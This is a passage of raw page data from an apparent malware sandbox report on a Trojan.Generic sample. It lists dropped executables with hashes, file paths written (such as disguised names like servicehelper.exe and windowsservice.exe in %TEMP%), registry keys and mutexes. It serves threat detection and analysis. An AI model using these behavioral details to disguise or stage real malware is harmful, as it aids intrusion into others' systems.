8cab6bb67868f4c314d4edb61987f19c3837d7886d6bcd4ccc5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"S6xWuZ1_1_.exe","sha256":"fd5072501552a57dd8ce2e660df348cd422ebdf6bf05d2d9768fa4f9552f88de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"DAIs3ZV_1_.exe","sha256":"cc0b07b2248ddc4b0971735e402983b65158a2df7f66677c23b1f3734907c222","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Ln9yol3.exe","sha256":"6b5958033363692844ba1374e3ed89daad416ffe7495a326ca59a70d99a24973","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Nb2YOyu_1_.exe","sha256":"4257e836bc6a87e4b17724c157ba8f14646c7816aa5834e6ff6d84f6686ca556","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Y9lcbSi_1_.exe","sha256":"5caf5d53f72b909bff50e5f959db0252a623c1d0737b306f34e1ffafdd86f10b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"7GKCAjW.exe","sha256":"407dc13883ac98457cadcda39e0541d28a5ae3a4f4dbb5d1284cb8636a6ac108","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"VGAGvKd_1_.msi","sha256":"1480dabe89af53f798ac93d4606d37ad8a1e6938dc054460ed4d8548f5e18d70","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"eNLe4nm_1_.exe","sha256":"af441c0683f07249f0a9a6e88aff3dd58e8c7597624a2719aa553464f8aaa960","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"b9ba399145.exe","sha256":"c4ad2d2df36d58cd27d9d0525aa82b8ab46c9f1d453db1e4d032cbfe9a489106","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin.exe.log","sha256":"60e6aca7f3697df9e88b2da9c831f4b83f572cf4aba85c57a1c7fb0c697881f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"powershell.exe.log","sha256":"b5035fa255ff1f451d02e7b4cf928868b55c3c6322e83ffd128fde16fd9aceac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"StartupProfileData-NonInteractive","sha256":"d35731bfeae30f9d4f5f77ae1de6d7b6cded9a3edd15905e51e897a8d016cfc4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"same.zip","sha256":"149be3ee5a45e74e7dac3019016d18ecbf68c787241ca7d5fe7ddeef8f4b7bc5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"script_running_871.tmp","sha256":"7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"2c1c6b.msi","sha256":"1480dabe89af53f798ac93d4606d37ad8a1e6938dc054460ed4d8548f5e18d70","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"2c1c6f.msi","sha256":"1480dabe89af53f798ac93d4606d37ad8a1e6938dc054460ed4d8548f5e18d70","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\servicehelper.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\windowsservice.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\systemhelper.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\WindowsUpdateAssistant.xml","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin.exe.log","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_h5lvf1mk.kdf.ps1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_5gg311dy.53o.psm1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\__tmp_rar_sfx_access_check_909172421","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\cGMgirpxv.bat","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"C:\\saked\\7z.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\SAKED\\7Z.EXE","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\saked\\7z.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\saked\\cecho.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\saked\\nircmd.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\saked\\NSudoLG.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\saked\\same.zip","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"C:\\saked","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\script_running_871.tmp","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\12333590101\\Y9lcbSi.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\Y9lcbSi[1].exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\12333800101\\S6xWuZ1.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\S6xWuZ1[1].exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\12340530101\\Nb2YOyu.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%TEMP%\\12342220101\\gate.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"path":"%WINDIR%\\Temp\\windowsservice.exe","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\EVENTLOG\\APPLICATION\\DOWNLOADERSERVICE\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6292:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6292:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"SM0:6292:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Local\\SM0:6292:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1540:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1540:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1540:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Local\\SM0:1540:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"SM0:1540:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"SM0:1540:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5464:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Local\\SM0:5464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"SM0:5464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"SM0:5464:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4428:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4428:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4428:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4428:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Local\\SM0:4428:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Local\\SM0:4428:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"SM0:4428:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"SM0:4428:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7816:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"SM0:7816:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6816:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6816:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"006700e5a2ab05704bbb0c589b88924d","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Local\\SM0:6816:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Local\\SM0:6816:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"SM0:6816:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\006700e5a2ab05704bbb0c589b88924d","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6816:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\BaseNamedObjects\\SM0:1900:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:1900:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\BaseNamedObjects\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"\\BaseNamedObjects\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]}]}},"report_ids":{"sandbox_job_ids":["69b9192c2fbdfb11c5071884"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 81ddacc1d468… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 81ddacc1d468…. Malware family: Trojan.Generic. Threat score 100/100. 15/27 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 81ddacc1d468… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 81ddacc1d468…. Malware family: Trojan.Generic. Threat score 100/100. 15/27 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 81ddacc1d468… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 81ddacc1d468…. Malware family: Trojan.Generic. Threat score 100/100. 15/27 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L87","11",{}]]